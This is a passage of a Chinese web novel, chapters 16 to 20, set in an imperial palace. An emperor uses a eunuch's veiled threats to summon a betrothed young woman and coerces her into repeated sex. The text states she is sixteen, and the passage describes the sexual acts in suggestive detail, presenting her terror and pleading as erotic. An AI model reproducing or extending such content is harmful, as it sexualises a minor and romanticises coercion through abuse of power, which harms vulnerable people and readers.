不会,绝对不会! 她虽然身份低微,不值一提,但顾家累世勋贵。她已经和顾时章订亲了,全京城都知道!他身为君父,怎会不顾帝王的体面,又怎能不顾与世家的情谊? 一定不会是那个意思。 夜幕很快降临,这一宿,柔兮几近一夜未眠。 第二日,她按着他的吩咐继续去给那荣安夫人侍疾。 这静颐居中有着六名宫女。 一直交替着守在荣安夫人身边伺候的有两人。 两人皆伺候荣安夫人很久了,很熟悉她的病情。 柔兮一点点学习适应,到了第三日方才能独自照顾荣安夫人。 第三日,也就是那男人口中的第二日,柔兮整日惴惴难安,再过一日,她不知会发生什么。 转眼到了那男人口中的第三日。 从早上开始,柔兮便时时注意着静颐居的外面,生怕来人。 所幸一整日安然,无事发生。 到了邻近黄昏,柔兮更是坐立难安,心都要熟了。 然,事情没朝着她期盼的方向发展。 夜幕刚落,静颐居到底是来了人,且那人不是别人,正是萧彻的贴身近侍赵秉德! 落日早沉,墨浪翻空。风过处,柳丝轻飏,落红铺径。 柔兮立在阶前,听他说话。 赵秉德很和善,很恭敬,脸上堆着笑,声音很轻,说话也小心翼翼。 “苏姑娘,陛下请您去景曜宫坐坐……” 坐坐…… 只是坐坐么? 最后一线希冀破灭,柔兮反倒不似之前那般慌乱,平静不少,即便如此,也浑身战栗,指尖微颤。 “我……” 赵秉德唇边漾着温煦笑意,缓声道:“柔兮姑娘玲珑心窍,知进退、明分寸。懂得什么是君心难违,有些际遇是天授福泽,非强求可得。你看这金阶玉砌间,多少女子日夜翘首,盼的是什么便不用多说了吧?还望柔兮姑娘,莫要将一幢美事变作无端祸事,惹了龙颜不悦,可就得不偿失了。” 柔兮心头一颤。 她当然听明白了太监的话。 可她,她与他后宫中的女人,能一样么? 她不是他的妃嫔,不是他的女人,且她有婚约在身。 她是他臣子的未婚妻子! 但事到如今,柔兮也早看明白了事态。 或许,他不必顾虑君父的体面,也不必顾虑与世家的情谊。 他给她安置在了这偏僻的地方。 那日前来之时没乘步撵,没人通报,如此敛迹,他什么意思还不分明么? 外人根本就不会知道! 不会影响他,乃至顾家分毫。 他只是单纯地,要欺负她一人而已…… 男人的劣根性么? 即便是帝王也是如此? 他身为九五之尊,后宫有的是女人,这天下间的女人,他想得到谁就能得到谁。有的是女子,做梦都想侍候他。可他为什么偏偏,偏偏就要她一个许了人家,有婚约在身的女子? 当真是应了那句,妻不如妾,妾不如偷么? 柔兮说不出话来,也迈不动脚步,微低着头,牙齿打颤。 但旁人不会再给她时间,没得一会儿,那公公便下了令,两名宫女搀扶住了她。 ******** 天边浓云翻滚,偶尔有银蛇当空穿梭,雷鸣骤响,但未落雨滴。 景曜宫浴房中。 内间水汽蒸腾,氤氲缭绕,汤池外的鎏金浴桶中温热的水面上浮着层层叠叠的玫瑰花瓣,沁人的幽香随蒸汽漫溢开来。 小姑娘雪腻的身子浸在水中。 身旁六名宫女垂首侍立,动作轻缓,几近无声,持着细棉软巾,细细擦拭着她雪白的肌肤,玉梳梳理着她早已湿透了的青丝,梳齿划过发间,携着水汽与花香。 柔兮脑中一片空白,直到现在还在微微发颤,小脸早已烧得通红,蜷缩在水内,怀抱双肩,间或耳鸣,听不到周围的任何声音。 待沐浴完毕,宫女用宽大的素色锦缎裹住了她玲珑有致的身体,扶着她坐在铺了软垫的妆台前,一面借暖炉余温为她吹干长发,一面用香膏,轻柔地为她一点点涂抹周身肌肤。 一切结束后,柔兮被送到了那男人的卧房。 殿内檀香萦绕,烛影摇曳,几名宫女颔首静立。 柔兮侧身坐在椅上,眸中含着汪水儿,神情慌张,眼神飘忽不定,紧紧攥着柔荑。 等了良久,殿外传来整齐的拜见声。 “陛下……” 柔兮如同惊弓之鸟,一下子从坐上站起,慌乱地朝着珠帘外望去。 那高大的身形已然出现。 不时,珠帘发出一声清脆的响声,被那男人拨开。 柔兮清晰地看到了他那张熟悉又陌生的脸。 他进来后,缓缓抬手,屋中侍候的宫女徐徐一福,鱼贯而出,转眼,房内便只剩了柔兮与他二人。 烛影随步摇乱,乱不过柔兮慌怯的心 男人缓步向前,朝她步步逼近。 她连连后退,泪凝于睫,柔荑紧攥着心口,声音发颤,含着哭腔,蕴着乞求:“臣女……已……已定了亲事了……” 这是一句毫无分量的话语。 他不知道么? 他在意么? 别说是卑微如尘埃的她,就是顾家他也未必在意。 他只为了自己,只为了自己一时兴起的色/心,欲/望,仅此而已…… 17、第十七章 第十七章 浑身上下宛若置身火炉,烧烫的很,柔兮喘息甚急,嗓中那隐隐的哭腔也越来越分明,终是退无可退,背脊撞到了墙面上。 那男人离着她越来越近,昂藏的身躯遮住了殿上的烛火,她的眼前越来越暗。 “陛下,陛下要……要干什么?” 她确是慌了,乱了,甚至是傻了,事到如今还能问出这样的话。 那男人也终于开了口。 他动作从容,冷淡疏离,漫不经心,在距她一步之遥的地方,垂眸,修长的手指拨弄了下拇指上的玉扳指,又缓缓地撩起眼皮,声音低沉凛冽,不带半丝温度:“朕要做什么,你不清楚?” 说着,已到了她身前,单手抬起,扣住了她的手腕,手臂顺势一带,小姑娘顷刻旋身被他拉转,背身入了他怀,细臂圈住了自己的脖颈,被迫使着不得不微微扬了头,整个小脑袋都被靠在了他的胸膛上。 柔兮周身上下瞬时更是火辣辣的发烫。那男人很高,于她而言很大一只,足足能把她装下,此时他缚着她,把她整个人都揽入了怀里了一般。一阵阵淡淡的龙涎香入鼻,俩人近到她能清晰地感受到他的体温与坚硬的胸膛。 柔兮喘息的更加厉害,一动也不敢动。 清楚,她当然清楚他要干什么。 她确实是脑子坏了方才能问出这样的话,自然也马上便敏锐地察觉到了一丝危险。 柔兮不傻,相反很聪明,且她从小寄人篱下,要比一般人更懂得审时度势,看人情绪。 她看得出来,他有一点不悦了。 柔兮很快冷静下来。 因为惜命,怂,怕死,畏惧皇权,求生欲迫使她冷静了下来。 不仅冷静了,头脑也顷刻清晰了甚多,她知道自己此番大抵是逃不掉了,但他也不光彩,否则,他也不必如此费周章,找理由把她安置在荣安夫人那。 思及此,即便喉间发紧,心中害怕,柔兮也还是大着胆子说了出来。 “陛下,是,是非要臣女不可么?” “臣女……有婚约在身,若今日真侍奉了陛下,往后……如何向夫君交待?” “臣女用……用旁的法子侍奉陛下,为陛下纾解……成……成么?” “求陛下,怜惜臣女……” 她话刚说完,便听头上缓缓地传来一声嗤笑,旋即只觉得小腹骤然一紧,一热,却是被那男人的大手裹了住。 柔兮纤柔的身子顷刻完完整整地贴在了他的身上,耳边传来热浪,和他冰冷、低沉,又含着几分玩味的嗓音:“顾时章?给他守身如玉?你很喜欢他?” 柔兮血液上涌,沸腾,要烧着了,耳尖发烫,随着他轻轻地呵气,双腿越来越软,就要站之不住。 她不是喜欢顾时章,扪心自问,她对顾时章还谈不上有多深厚的感情,但她有着一门体面的亲事,有着一个很好,很有希冀的未来。她娘是那样的出身,是妾,一辈子受尽别人的白眼,诟病,作为她娘女儿的她也是如此,抬不起头来。她不想给人当妾。她想光明正大地给人做妻,被人明媒正娶。 小姑娘唇瓣嗫喏,颤抖,回答不上他的话,也便大着胆子没答,声若蚊吟,含着乞求,软糯的嗓音,颤颤发声:“陛下,疼疼臣女……” 那男人的拇指在她的小腹与腰间缓缓摩挲,“嘶”了一声。 “可你不是方才十六,尚未出阁,你懂的很多?谁教你的?嗯?” 柔兮的身子又是一颤,瞳孔微放,人紧绷着,如泥胎雕塑,更加僵滞无措。 谁教她的? 是他。 是,梦中的他…… 但她依旧没答,也没法回答,只声音更柔,更软。 “求陛下疼我……” 沉默须臾,那男人的声音终于再度响起。 “看你的本事,朕未必答应。” 言讫,缓缓地松开了缚着她身的手。 柔兮立在原地,呆愣了两下,而后回了头去,扬起小脸,水盈盈的眸子落到了他的脸上,与那男人垂下来的目光正好相对。心口狂跳,但她没有什么犹豫,剥葱般白嫩的柔荑抬起,颤微微地落到了他的腰封上,手指缓缓一动,勾住了那腰封,走在了他的前边,引着他朝着浴房而去。 浴房中,水汽裹着鎏金灯影,绕玉阶雕栏流转,朦朦胧胧,晕得满室空灵。 宫女尽数退下,适才她所用的浴桶也早已撤去。 汉白玉汤池在灯影下凝脂映辉,池面暖雾袅袅升腾,如轻纱漫卷。 俩人一前一后,一高一矮,柔兮引着他停在了玉阶一旁,呼吸紧促,强压着慌乱,微低着头,转过身来,抬手一点点地为他解开腰封,褪下龙袍,期间未敢看他一眼。 待得将他的衣服全部褪下,尤其是看到某物,柔兮只觉得眼皮及着呼吸都是烫的,马上别开了视线。 她牵着他的大手,穿着一层薄薄的白衣,光着玉足,引着他一步步下了那汤池,行走间脚踝上的银铃轻轻作响。 刚一没入水中,她便整个人都缩了进去,只露个小脑袋出来,怯生生的一动也不敢动。 虽尚且穿着衣服,但她的衣服很薄,适才沐浴过后,她们就给了她这一件衣服,如此薄衣进了水中会是什么模样,可想而知。 再抬头之际,氤氲的前方,但瞧那男人已双臂搭在了池边,从容不迫,一贯的沉冷,身子一大半没入水中,垂着眼睛,正饶有兴致地看着她。 柔兮心口起伏的很厉害,所以她更不敢出来,缓了一缓,方才慢慢地朝他游去。 到了他身前,还未贴近,柔兮便感到了一股子热浪,以及他身上的一股子淡淡的清香。 一切是那样的熟悉,又陌生。 只抬头看了他一眼,柔兮便又马上挪开了视线。 与他恰恰相反,那男人的眼睛便没离开过她。 小姑娘脑中“嗡嗡”直响,觉得一切像梦一样,自己不知道什么时候能过了这关,又能否顺利渡过,唯知一点,便是她想快些过去,越快越好。 念及此,柔兮也早横了心,一双柔荑在水中缓缓摸了过去,抓住了什么。 她几近一直低着头,看着水面,红着小脸,额际流下汗来,好在烛火朦胧,室内氤氲,她又几近是懵了、瞎了,什么也不知道了的状态,看不见水中的模样,良久良久良久,久到一双柔荑已经酸了,累了,宛若不是自己的了,就要再也动不了了,水面之上突然浮现一抹成线的白。 柔兮心口一惊,打了个觳觫。她在梦中见过,现实当然是第一次见到,旋即刚要抬头,后颈一热,却是已经被那男人捏住,下一瞬,柔兮便整个人都贴在了他的身上。 俩人目光再度相交,柔兮喘得厉害,昏暗的灯火下也看得清楚,萧彻额际上一层密密麻麻的汗珠,眸色晦暗,唇角却缓缓地扯了一下,用着略微沙哑的声音,朝她问道:“谁教你的,嗯?” 柔兮摇头,不敢看他,不知如何作答。那男人亦未再追问,因为下一瞬,他的手便一把箍住了她纤细的腰。柔兮骤觉身形一紧,转而一声轻呼,已经与那男人换了地方,背脊猝然被死死贴紧冰凉的池壁上,腿弯落在那男人的臂弯处,整个人皆被拖出水面…… 18、第十八章 第十八章 “陛下,不要……” 浑身滚烫,柔兮当真是要哭了,又惧又羞,眼泪已经晶莹剔透地涌现,滚在眸中,就要掉下来,但又不敢。眼下这般模样,她也害怕萧彻不悦,到底是又硬生生地憋了回去,但本能反应,夹住了双膝。 萧彻脸色骤变:“张开。” 柔兮唇瓣微颤,浑身皆在哆嗦,呼吸急促,泪凝于睫,憋着呜咽,看着他冷下来的脸,更被吓得要哭,脑中混乱不已,但有一件事清晰无比,知晓自己先前的一番苦心成了泡影,太监劝她的话浮现在耳边,终是胆子小,人很怂,很害怕,慢慢咬上了柔荑,微微抽噎着依他之言做了。 他的大手抬起,随手便扯下了什么,扔开。柔兮顿时打了个觳觫,浑身烧着了一般。一抹巴掌大小,两端系着纤细丝带的月白色小巧绢布漂在远处的水面上。 外边一声惊雷,旋即暴雨“哗哗”落地,几近与此同时,屋中亦然。那男人十分娴熟。她仿若暴风雨中摇摇曳曳,几近被风雨折断的小白花。哭声、雨声、呜咽声还有着一些别的什么此起彼伏,混在一起,缭绕不绝。 柔兮入了梦境一般,甚至已分不清眼下是现实还是她真的又做了那些个梦。 一切的一切,一模一样。 她一直哭,哭到了深夜。恍惚一阵阵地有着一种错觉,她好像真的是在梦中,所以,也便哭的更加肆无忌惮。 渐渐镇静下来的时候,她已裹上了被子,躺在了龙榻上。 小姑娘可怜巴巴,脸上挂着泪痕,抽噎着瞧着四周的环境。 一切也都和梦中一模一样。她直到现在才反应过来,梦中的很多场景,竟然都是发生在龙榻上。 出乎意料,却又好像理所当然,事情真的就变成了这样。 几个时辰间,变化翻天覆地,已无法挽回,自己到底是和萧彻扯上了这种关系。柔兮脑中不觉间想起了苏明霞给她算的命。 她胆子小,又极信佛祖,之前是抱着希冀,一直安慰自己,苏明霞定是诓她的,方才没那般在意,眼下事情转眼间变成了这般,让她很自然地又联想到了那件事。 该不会是后来自己败露了,顾时章大怒,退了婚,然后她方才被她爹抬给了康亲王的吧。 一想到这样悲惨的结局,柔兮的眼泪就更是止不住地往上涌。 就在这时,她乱七八糟的思绪被什么声音打断。 柔兮很快辨出,是那男人从浴房出来的脚步声。 与她的慌张、害怕与恐惧恰恰相反,他慢悠悠,步子不疾不徐,到了珠帘之外,停下了脚步,不知和宫女还是太监说了句什么,听上去心情大好,声音明显要比平日里快活。 他,当然快活了。 他,也当然毫不在意了。 却让她日后怎么办? 柔兮越想越要抹眼泪。可眼见着他来了,她又只能把眼泪往肚子里咽。自己苦不堪言,就算造成了这般局面,她能敢向皇帝发火么? 男人一步步靠近,柔兮显然更加无措,心口起伏,本就软绵绵的身子更加无力,双腿根本便抬不起来,动弹一下都不成,此时眼睛也不知该看向哪。 这其间,男人已经到了榻边。 柔兮不想看,不敢看,但抽噎着,小眼神还是怯生生地落到了他的身上。 他垂下眼睛看她,一贯的神态,一言未发。 俩人目光相对,一个淡然,一个胆怯。 柔兮看不出他过多的情绪,但知晓,自己是该起身的。 可身子不争气,她起不来,不仅是起不来,一看到他就能想起适才,腿软得厉害。 相视了没一会儿,但见那男人收回了目光,走了。 背影消失前,柔兮隐约听见他吩咐了宫女明日早朝前送她回去。 而后,柔兮便再也挺不住,即便满心满脑的情绪,但身子骨实在不济,终还是迷迷糊糊地睡着了。 翌日天还未亮便有人来唤她,为她穿了衣服,扶她上了小轿,把她送回了北宫静颐居。 下轿之前,宫女朝她轻声道:“苏姑娘,陛下有谕,明日您无需去荣安夫人房中当值。” 柔兮神志尚昏沉,只含糊地应了一声。回到自己的房中,她插了门,爬上了床榻,很快又睡了过去。 再醒之时,已经到正午。 有宫女给她送来饭菜,不同于前三日。 饭菜极好,四菜一汤,有荤有素,除了饭菜外,还有一个小巧的瓷瓶。 瞧见瓷瓶上的名字,柔兮本稀里糊涂,还未完全清醒,也被弄得一下子清醒了,与此同时,小脸红了个透。 那是干什么的,涂在哪的,柔兮一清二楚,也是这时,感到一阵火辣辣的疼。 他形魄昂藏,什么都大。初承雨露,她自难消受。但他似乎深谙风月,诸般手段实在了得,皆在熨帖处,倒也未令她多受磋磨。 柔兮坐在桌前良久良久,美目中还是噙着汪泪,但眼下不想哭了,心肝乱颤地想着,她以后该怎么办? 是不是新婚之夜的时候要灌醉顾时章,提前弄些别的什么代替丹华混过去。 柔兮倒是不想骗人,但她怎么办嘛? 她总不能真的等着给顾时章发现,被顾时章退婚,或是休了。 那她可真的极有可能被她爹一怒之下,抬给康亲王。 若是真的要去伺候那康亲王,柔兮宁可死。 所以现在到底要怎么办? 柔兮不知,眼下也吃不下去饭。 她细细地算了算,为今自己已经入宫五日。 抄写佛经只需半月,也就是,再有十日,她十人就可离宫了。 这事要是就此结束,她认了便是,对付男人总归会有法子。那日在寺庙,她不是就让那顾时章上钩了么。所以,或许,或许也没那么严重,她或许倒时也能骗过顾时章。 至于萧彻,他快活过了,新鲜过了,总该放过她了。 正聚精会神地想着,外边突然传来陌生女子的声音。 “荣安夫人睡下了?” 声音不大,甚至有些轻,但柔兮开着小窗,房间离着月洞门不远,听得一清二楚。 她心口一颤,打了个激灵,马上悄悄地起了身来,轻步跑去了窗口,藏起来偷听。 究其原因,以前她只是做梦,现在她是真的做贼了,所以也真的心虚,虽说萧彻是夜里把她接走的,天还没亮就给她送回来了,但也保不齐给谁看见。 要是真的给人看见了,她想着怎么骗过顾时章还有什么用?万一被谁传出去,不是一样前功尽弃。 越想,她越慌,也便越在意,仔细着动静。 这时,但听静颐居的宫女回了那女子的话:“是的,姑娘,荣安夫人这会子又睡下了。” 那姑娘听罢,应了一声:“既如此,我便不扰夫人安歇了。待我下次进宫,再来向夫人问安。” 宫女恭敬道:“姑娘这般记挂夫人,夫人若是知晓,定是欢喜的。奴婢稍后便将姑娘的心意回禀给夫人。” 那女子微微一笑:“好,你记着让夫人按时吃药,少劳神,我改日再过来。” “是,奴婢晓得了,姑娘慢走。” 柔兮一直听完,起先无知无觉,却越听越觉得这“姑娘”的声音有些熟悉,且言语之间听着她和荣安夫人好像还挺熟悉。柔兮愈发好奇人是谁,也便偷偷地歪着小脑袋,往外小心地张望了张望。 在人转身之际,恰好让她捕捉到了她的正脸。 柔兮眼睛一亮,顷刻认出了她,这不是平郡王府的萧清沅,百花宴上那十几个宗室女之一! 若没记错,她是身份最低的一个宗室女。 平郡王是先皇的庶弟,萧彻的叔叔。 这个萧清沅是平郡王庶出儿子的庶出女儿。 平郡王手中早无实权,不过空享一份宗室俸禄。 萧清沅,连她父亲都非正出,她这身份,在宗室里更是排不上号的。 柔兮记得听人说她与宫中的一位公主关系不错,还记得百花宴的时候她好像很喜欢讨好那丞相之女林知微。 倒也人之常情,毕竟人人都说林知微将来是可能做皇后的。 将来做皇后?! 柔兮随便想想,却突然想到了什么,脑中“轰”地一声。 还没待继续想下去,但瞧那萧清沅刚转过身后又转了回来,笑道:“对了,静颐居这两日是不是来了个……” 她话方才说了一半,荣安夫人房内突然响起唤声:“秋纹,快来!” 唤得正是那门口与她说话的宫女。 秋纹当即应声,转而神态颇急,朝着那萧清沅歉然道:“姑娘赎罪,奴婢得先去伺候夫人了!” 萧清沅赶紧道:“好好,你快去吧。” 秋纹转身跑去了正房。 柔兮藏在房中窗下,早已将手紧紧攥住。 事情已经再明显不过,这萧清沅可能是来宫中看望某位公主的,却不知怎么见到了林知微。 怕不是林知微让萧清沅来此打听,她是不是在这伺候荣安夫人? 柔兮不知道林知微怎能想到她可能被萧彻安排在了这,但知道,净莲轩那边这五日来定然没少议论她的去处! 柔兮心中又翻腾起来,惴惴难安。 她不想引人注目,今时不同往日,现在一点都不想出风头。 她们最好不要议论她,不要找她,不要好奇她去了哪! 思及此,柔兮又想起了萧彻。 都是他干的好事,她真的再也不想见到他了! 但事与愿违,柔兮半分都未想到,昨日刚得到餍足,刚得到她,他应该已经对她没兴趣了才是,却刚一入夜,人便出现在了静颐居。 19、第十九章 第十九章 不同于上次,萧彻没去主房,竟是直接进了她房。 御前的宫女守在外边,有人进来落了窗帘,关了门窗,什么意思,显而易见。 柔兮心口狂跳,慌乱不已,转眼间屋中光线已暗,只剩了他二人。 柔兮眼中漫开一层惊措,乖乖地站在一旁,但见那男人薄唇轻抿,神色还是一贯的清冷难近,威压逼人,负手立在那,眼睛慢慢地从她身上移开,迈动脚步,长身坐到了桌前,动作徐徐,抬手拿起了一只茶杯,用茶壶中的热水慢条斯理地冲了一下杯沿,而后方才倒茶。 柔兮本就局促,瞧见更加窘迫。他这是嫌她房中的杯子脏。 边倒,他边开了口:“药用了么?” 柔兮听罢顷刻耳尖发烫,自然知晓他说的是什么药。 柔兮摇头:“臣女,还未。” 男人略微侧眸,冷冷淡淡地朝她瞥来:“为何?” 柔兮实话实说:“臣女,刚起来不久。” 这是实情,因前夜折腾,她睡到午后方醒,之后又经历了萧清沅一事。她虽跑下了床榻偷听去了,但听过后更什么心情都没了,就顾着发愁,也没起床,后来不知过了几时,迷迷糊糊地又睡着了,再醒来已到了晚上,洗漱了番,刚刚用过膳,他就来了。 萧彻未收回目光。 柔兮像只受惊的小兔,乖乖巧巧,满目虔诚,看着他,小心翼翼地答话。 俩人视线交错,男人的眼睛在她的脸上定着,定了半晌,沉声再度开口:“还疼么?” 他的声音依旧很冷,只是问的是什么,柔兮知晓,便显得这话语过于暧昧,听起来竟是平白地增添了几分旖旎,甚至像是调情。 柔兮马上低了头,心中慌乱,红了脸。 她忙不迭地点头,一连点了几下,但觉他也不单单是在关心她,这句话的后边显然还有下文。 她若说不疼了,保不齐他便会让她侍寝。 他来此,不就是那个意思。 种种迹象都表明,他就是有意想让她在这侍寝。 念及此,柔兮更觉得浑身烧烫,大着胆子再一次点了两下小脑袋,眼下只一颗心,躲一时是一时。 屋中静了须臾,萧彻道:“那朕便过两日再唤你,怎么表示?” 柔兮微微一怔,抬了眸子,再度看向他。 他也在朝她看着。 怎么表示? 柔兮不知他是何意。 只是凭着感觉揣测君心,不时,心肝乱颤着动了脚步,一点点地朝他走去。 待得到了他身前,红着脸面,大着胆子,细臂勾住了他的脖颈,侧身坐到了他的腿上。人携着香,吹气如兰地扬起雪嫩的小脸朝他的嘴唇亲去。 心口狂跳! 然眼见着就要碰到了他的唇,柔兮心一哆嗦,因为眼睁睁地瞧着那男人冷下了脸面,不虞之色分分明明,错过了唇去。 柔兮意识到了什么,心差点没跳出来,立马从他身上起来,跪了下去,小脸煞白。 她没说话,因为已吓得说不出来,但她知道了他为何不悦。 昨夜他便没亲过她的嘴,细细想来,其实梦中那么多次,他从未亲过她的嘴。适才他喝水之前特意涮了杯子,怕不是嫌杯子脏,是怕她用过了。 柔兮半晌都没说出话来,浑身微抖。 那男人一言未发,没让她起来,也没再停留,不一会儿起身抬步,走了。 柔兮到最后也没参透他口中的“表示”到底是什么意思,自然也没心思去想了,怕都要怕死了! 她脸色苍白,一直跪在地上不敢动,小耳朵竖起来听着外面的动静。直到脚步声彻底消失,御前的人都走了,她方才敢起身。 柔兮走到房门口,马上插了门,背身倚在门板上,脑中又“嗡嗡”了好一会儿,终是镇静下来。 她第一次感受到了什么是伴君如伴虎。 他那般高贵,其实,她当然是不敢亲他,不敢碰他的。 若非适才那般情形,她又为了躲过侍寝,一心想哄他,她怎会有那般举动? 眼下自己的日子当真是如履薄冰。 明明是他毁了她的大好未来,非要占有她,她还得哄着他…… 她真是恨不得再也不要见到他了。 他明明很嫌弃她,为什么还非就要她? 他就放过她,不要再找她了成不成…… 柔兮想来想去,愈发地想哭,但就在这时,外边突然响起宫女秋纹的声音:“谁?” 柔兮眼中的泪一下子就憋了回去,一面因为好信儿,一面也总怕发生与自己有关的事。小姑娘抬起软乎乎的帕子马上擦了下小脸,而后就跑去了窗边,小心地推开了窗子张望了出去。 但瞧秋纹提着灯笼,正站在月洞门口四处瞧着。 不一会儿人返回,柔兮没藏,小声地唤了她:“秋纹姐姐……” 宫女听到,循声望过,见是柔兮,快步走了过来。 待她到了跟前,柔兮压低声音:“秋纹姐姐,怎么了?” 秋纹小声地回着她:“柔兮姑娘勿怕,许是野猫吧。” 柔兮眸光澄莹,重复道:“野猫?” 秋纹“嗯”了一声。 柔兮道:“静颐居以前入夜后也经常有野猫么?” 她藏了个心眼,特意这般说。 秋纹回道:“自然不是,只是最近两晚如此,柔兮姑娘怕猫么?” 柔兮不怕,摇了摇头,莞尔一笑,与她又随便说了几句搪塞一番,也便不说了。 柔兮落了窗,返回床榻,水灵灵的眼睛缓缓流转着。 她心口突突地跳,也不知道是做贼心虚还是怎么着,总是有种不好的预感。 她觉得不是什么野猫,是有人故意用野猫当幌子。 一种直觉,这个人与正午的萧清沅是一个目的。 想到此,她也极为后怕,如若萧彻没走,真让她在此处侍候,她和他的事怕是今晚就会暴露。 深夜,柔兮躺在床榻上,想东想西。 她数着日子,还有九天,九天之后,这事总该结束了吧! 萧彻其实很嫌弃她,今日,他生气了吧! 生气了,是不是对她就没兴趣了? 没兴趣,那事就过去了。 她,还能嫁给顾时章的吧…… 她在脑中反复地想着这些事,到底还是有些没心肺,很快迷迷糊糊地睡着了。 一夜无梦,睡得很香。 翌日一整天安然无恙,萧彻也没传她。 柔兮算着日子,还有八天。 转眼便到了下一天。 一上午她都在荣安夫人的房中伺候,到了下午换了旁人,柔兮也便从荣安夫人的房中出了来,准备回自己的房中休息。 然方才走到门口,她刚要推门进去,一声惊唤响在月洞门口。 “苏柔兮?!” 柔兮顿时心一惊,脚步滞住。 她也听清了那声音,知道了人是谁。 柔兮转过头去,果然不出所料——是那平郡王府的萧清沅。 萧清沅立在门外,笑着朝她招了招手,唤她过去。 柔兮硬着头皮走了过去。 对方压着声音,拉着她的手,一副与她很熟的样子,笑着朝她问道:“你怎么在这?我听说太皇太后召见了你们前十次第的女子进宫为祭天祭祖大典抄写佛经,你不是应该在后宫佛堂抄写佛经么?怎么在这?” 柔兮编着瞎话,假笑着回道:“我自幼承家父所授医术,略知一二,故得令前来照料荣安夫人几日。” 萧清沅试探道:“原来是这样,谁命你来的?陛下?” 柔兮现下听不得别人与她提及“陛下”二字,面上强维持着平常,心里已经翻江倒海了一般。 她含混道:“嗯,是陛下吧,宫女带我来的。” 萧清沅看着她,笑道:“那便是了,荣安夫人是陛下的乳母,咱们陛下长情,对荣安夫人极好。” 柔兮跟着她笑了一下,违心地附和了两句,夸赞着萧彻。 “入宫以来常听人说陛下重情重义,尤重旧恩,如今见确是如此。” 萧清沅笑着应声。 俩人又随意聊了两句,萧清沅便言有事在身,先走了,改日再来与她闲聊。 柔兮答应,俩人分了开。 那萧清沅走后,柔兮便跑回了房中,喝了杯水压惊。 她当然知道,萧清沅知道了她在此便意味着那丞相之女林知微知道了。 且不知林知微会不会再告诉别人。 原她在此为荣安夫人侍疾也不算什么,但她心中有鬼,很怕她和萧彻的事被人发现,于她而言,那,那不就完了! 眼下她当然想保名声,想保和顾时章的婚事,毕竟于她而言,事关重大,事情败露,她真的被抬给了康亲王怎么办? 柔兮只能期盼萧彻不要再找她了。 但她每次期盼此事的时候希冀都会落空。 当晚,那男人便再度来了静颐居。 人目的明确,就是为了那事。 屋中只点了一盏烛火,窗帘紧落。 他到的时候,柔兮正在寝房最内。 她慌张地起身,眼神飘忽,呼吸急促,甚至还没来得及过多反应,萧彻便已经朝她走来,欺身逼近。转眼柔兮纤柔的身子便被抵在了墙上,锁在了方寸之地,灼热的体温瞬间穿透了她单薄的衣衫。 “陛下……” “自己解开。” 他的声音自上传来,柔兮仰着小脸,喘息甚急,鼓胀的胸脯起起伏伏。浑身血液似是骤然涌上头顶,脸颊、脖颈,便是连露在外面的手腕都泛起了薄红,樱唇娇艳欲滴,眼底蒙了层水汽,双腿发软,阵阵娇香扑人鼻息,整个人僵在原地,不住地喘息。 她慌了乱了,但还没傻,娇声乞求道:“陛下,不在这成么?” 但那男人一言没发,也没跟她说第二遍,抬手便扯开了她的衣服。 而后,翻手为云,覆手为雨。 柔兮到底是被弄得哭了起来,但她又不敢太大声,只觉得自己死了又活过来,活过来又死去,反反复复,不停地哭。她更知道了,萧彻是不怕被人知道的。他若是怕根本就不会这般大的幅度,这般大的动静。他根本就没在意,没避着这宫里的任何一个人。看起来避了人,可能是在配合她…… 20、第二十章 第二十章 一连三番他方才得到餍足,放过了她。 柔兮被他抱回床榻,钻进了被衾中。 屋内烛火摇曳,晕开一片昏蒙。 小姑娘青丝凌乱,混着眼泪粘在汗湿的小脸上,娇容绯红如霞,像小猫似的,仍在细细抽噎。她不敢太大声,一面怕哭声惊动正房,给人发现,一面也不敢在他面前过于哭哭啼啼。 但小眼神朝着床榻下偷瞄了好几眼,那男人背身朝她,动作徐缓,从容穿衣,眼下已恢复了平日里的深沉冷峻,周身萦绕着威严,与适才的激狂与失控完全判若两然。 柔兮脑中不知怎地,浮现出了“衣冠禽兽”四字,但她自然只是想想,断不敢说出来。 没得一会儿她瞧他动了,侧头斜瞥,朝她看来。 柔兮马上转了视线,手放在了唇边,继续轻轻地抽噎,即便已经有些不那么想哭了,却也下意识地特意哭给他看。 萧彻开了口:“弄疼你了?” 柔兮缓缓地抬了眼去,梨花带雨地看向他,抽噎了一声,而后点了下头。 他手段了得,会的很,其实,她倒也没怎么疼,就是很是受不了他。 但既是他问,她当然要喊疼,要惹他怜惜,没准便能得些好处也说不定。 果不其然,萧彻再开了口:“你想要什么?” 柔兮暗道:她想让他放过她,还她清白,让一切回到正轨,他给得了么? 自然也是呈呈口舌之快,这种话语怎么可能真的说出来,非但不敢,还需违心地讨好他。 思着柔兮娇滴滴,楚楚可怜地回了话。 “臣女什么都不要,能侍候陛下,是臣女的福分。” 是福还是孽,他自己心里清楚。 这般说罢,她又抽噎了起来。 一半真,一半假。 柔兮确是恨不得哭死,只是眼下这会子不想。 事情已经这样了,时光不可倒流,改不了了,总哭又有什么用。 方才抽噎了两声,余光见那男人扯下了什么,扔在了床榻上,而后,抬步出了门去。 柔兮心底慌慌的,继续装了一会儿。待他前脚出门,后脚,柔兮马上抬手擦了下小脸,当即便不哭了,视线落到了被衾上,纤指拾起了他适才扔落的东西,昏暗的烛火下,看得清楚,那是一块上好的羊脂白玉。 不用想也知,必然是玉中极品,极其昂贵,柔兮估不出这块玉的价格,但她知道羊脂玉稀有珍贵,至少也得二百两白银打底。柔兮家里没人能佩带得起这般昂贵的玉。 她把那玉攥在手中,突然便生出了另一个想法。 若能如愿嫁给顾时章,她肯定还是想嫁入高门,有个世子夫人的身份,从此一辈子衣食无忧,有个庇护。 但如若真败露了,不能了,倒时候就是跑了,跑到深山老林中过一辈子,她也绝对不会去给那康亲王做妾。 思及此,柔兮更攥了攥手中的那块羊脂白玉。 太皇太后还赏赐了她一百两白银,若真有那天,那剩下的银子和这块羊脂玉就是她后半生的生计根本了。 越想,柔兮越安心了些许,事情或许也不会那般遭。 她是活的,不是死的。她一定不会让自己被抬给那康亲王。 终是不知过了多久,柔兮渐渐进入梦乡。 第二日,距离她出宫还有六日。 柔兮起床洗漱后用了早膳,而后去了荣安夫人房中当值。 昨夜,她虽强忍着没唤出太大声来,但那男人着实肆无忌惮。终归是一个院子,其实就算听不到,居中的宫女也不可能不知。 皇帝来了,进了她房,御前的人守在了她房门外足足两个时辰。 怕是只有聋子瞎子或者是傻子方才不知是怎么回事。 